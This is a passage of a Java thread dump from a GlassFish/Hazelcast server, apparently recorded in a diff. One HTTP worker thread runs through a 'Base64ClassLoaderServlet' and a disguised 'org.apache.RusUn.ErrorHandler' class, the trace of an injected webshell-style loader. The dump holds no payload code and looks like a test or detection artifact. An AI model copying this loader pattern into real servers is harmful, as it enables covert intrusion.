java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.partition-operation.thread-3" #45 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:231) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:153) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.run(OperationThread.java:105) + +"hz._hzInstance_1_development.IO.thread-in-2" #74 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:278) + at com.hazelcast.internal.networking.nio.NioThread.run(NioThread.java:235) + +"hz._hzInstance_1_development.partition-operation.thread-7" #49 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:231) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:153) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.run(OperationThread.java:105) + +"hz._hzInstance_1_development.partition-operation.thread-1" #43 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:231) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:153) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.run(OperationThread.java:105) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[]]" #125 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1759) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.async.thread-2" #139 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4a1ffec6 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at com.hazelcast.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:64) + at com.hazelcast.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:80) + +"RMI TCP Connection(2)-192.168.215.4" #173 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at sun.security.ssl.InputRecord.readFully(InputRecord.java:465) + at sun.security.ssl.InputRecord.read(InputRecord.java:503) + at sun.security.ssl.SSLSocketImpl.readRecord(SSLSocketImpl.java:983) + at sun.security.ssl.SSLSocketImpl.readDataRecord(SSLSocketImpl.java:940) + at sun.security.ssl.AppInputStream.read(AppInputStream.java:105) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:550) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:826) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:683) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$325/613784221.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:682) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Executor-Service-6" #133 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@98f161b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.IO.thread-out-2" #77 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:278) + at com.hazelcast.internal.networking.nio.NioThread.run(NioThread.java:235) + +"GF Domain XML" #121 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3cd33022 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"FelixResolver-8" #23 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3bb86dcb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-1-expirer(1)" #99 daemon [TIMED_WAITING] on java.lang.Object@58cc0c1e + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:149) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(4)" #97 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1610) + at org.apache.RusUn.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:326) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.apache.catalina.core.StandardWrapper.service(StandardWrapper.java:1636) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:331) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:211) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:253) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:211) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:257) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:161) + at org.apache.catalina.core.StandardPipeline.doInvoke(StandardPipeline.java:757) + at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:577) + at com.sun.enterprise.web.WebPipeline.invoke(WebPipeline.java:99) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:158) + at org.apache.catalina.connector.CoyoteAdapter.doService(CoyoteAdapter.java:371) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:238) + at com.sun.enterprise.v3.services.impl.ContainerMapper$HttpHandlerCallable.call(ContainerMapper.java:520) + at com.sun.enterprise.v3.services.impl.ContainerMapper.service(ContainerMapper.java:217) + at org.glassfish.grizzly.http.server.HttpHandler.runService(HttpHandler.java:182) + at org.glassfish.grizzly.http.server.HttpHandler.doHandle(HttpHandler.java:156) + at org.glassfish.grizzly.http.server.HttpServerFilter.handleRead(HttpServerFilter.java:218) + at org.glassfish.grizzly.filterchain.ExecutorResolver$9.execute(ExecutorResolver.java:95) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeFilter(DefaultFilterChain.java:260) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeChainPart(DefaultFilterChain.java:177) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.execute(DefaultFilterChain.java:109) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.process(DefaultFilterChain.java:88) + at org.glassfish.grizzly.ProcessorExecutor.execute(ProcessorExecutor.java:53) + at org.glassfish.grizzly.nio.transport.TCPNIOTransport.fireIOEvent(TCPNIOTransport.java:524) + at org.glassfish.grizzly.strategies.AbstractIOStrategy.fireIOEvent(AbstractIOStrategy.java:89) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.run0(WorkerThreadIOStrategy.java:94) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.access$100(WorkerThreadIOStrategy.java:33) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable.run(WorkerThreadIOStrategy.java:114) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"FelixResolver-9" #24 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3bb86dcb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@5b61020a + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:143) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:164) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:209) + +"http-thread-pool::http-listener-2(5)" #105 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@1e2d0880 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"GF Domain XML" #124 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3cd33022 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"FelixResolver-10" #25 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3bb86dcb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"RunLevelControllerThread-1754845017532" #28 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@5e405676 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"GF Domain XML" #119 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@30a0cfc + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Executor-Service-7" #134 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@98f161b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.partition-operation.thread-5" #47 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:231) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:153) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.run(OperationThread.java:105) + +"hz._hzInstance_1_development.partition-operation.thread-8" #50 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:231) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:153) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.run(OperationThread.java:105) + +"http-listener-1-kernel(1) SelectorRunner" #100 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:90) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:315) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:255) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"GlassFish Kernel Main Thread" #146 [WAITING] on com.sun.enterprise.v3.server.AppServerStartup$1@26e7eb9e + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.sun.enterprise.v3.server.AppServerStartup$1.run(AppServerStartup.java:269) + +"hz._hzInstance_1_development.migration" #67 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.hazelcast.internal.partition.impl.MigrationThread.doRun(MigrationThread.java:109) + at com.hazelcast.internal.partition.impl.MigrationThread.run(MigrationThread.java:67) + +"RMI TCP Accept-8686" #155 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:545) + at sun.security.ssl.SSLServerSocketImpl.accept(SSLServerSocketImpl.java:348) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:400) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:372) + at java.lang.Thread.run(Thread.java:748) + +"GF Domain XML" #120 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@d4d083c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.cached.thread-4" #80 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1692294f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at com.hazelcast.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:64) + at com.hazelcast.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:80) + +"hz._hzInstance_1_development.cached.thread-7" #87 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1692294f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at com.hazelcast.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:64) + at com.hazelcast.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:80) + +"Thread-22" #162 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.fs.LinuxWatchService.poll(Native Method) + at sun.nio.fs.LinuxWatchService.access$600(LinuxWatchService.java:47) + at sun.nio.fs.LinuxWatchService$Poller.run(LinuxWatchService.java:314) + at java.lang.Thread.run(Thread.java:748) + +"Thread-12" #115 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.fs.LinuxWatchService.poll(Native Method) + at sun.nio.fs.LinuxWatchService.access$600(LinuxWatchService.java:47) + at sun.nio.fs.LinuxWatchService$Poller.run(LinuxWatchService.java:314) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.event-4" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@15f27d58 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.hazelcast.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:226) + +"hz._hzInstance_1_development.partition-operation.thread-10" #52 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:231) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:153) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.run(OperationThread.java:105) + +"http-listener-2-expirer(1)" #106 daemon [TIMED_WAITING] on java.lang.Object@7fef4ba2 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:149) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.generic-operation.thread-2" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6597ec65 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.run(OperationThread.java:105) + +"DestroyJavaVM" #147 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"FelixStartLevel" #20 daemon [WAITING] on java.util.ArrayList@34ae0bf2 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.framework.FrameworkStartLevelImpl.run(FrameworkStartLevelImpl.java:283) + at java.lang.Thread.run(Thread.java:748) + +"FelixResolver-2" #15 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3bb86dcb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Executor-Service-4" #131 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@98f161b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at 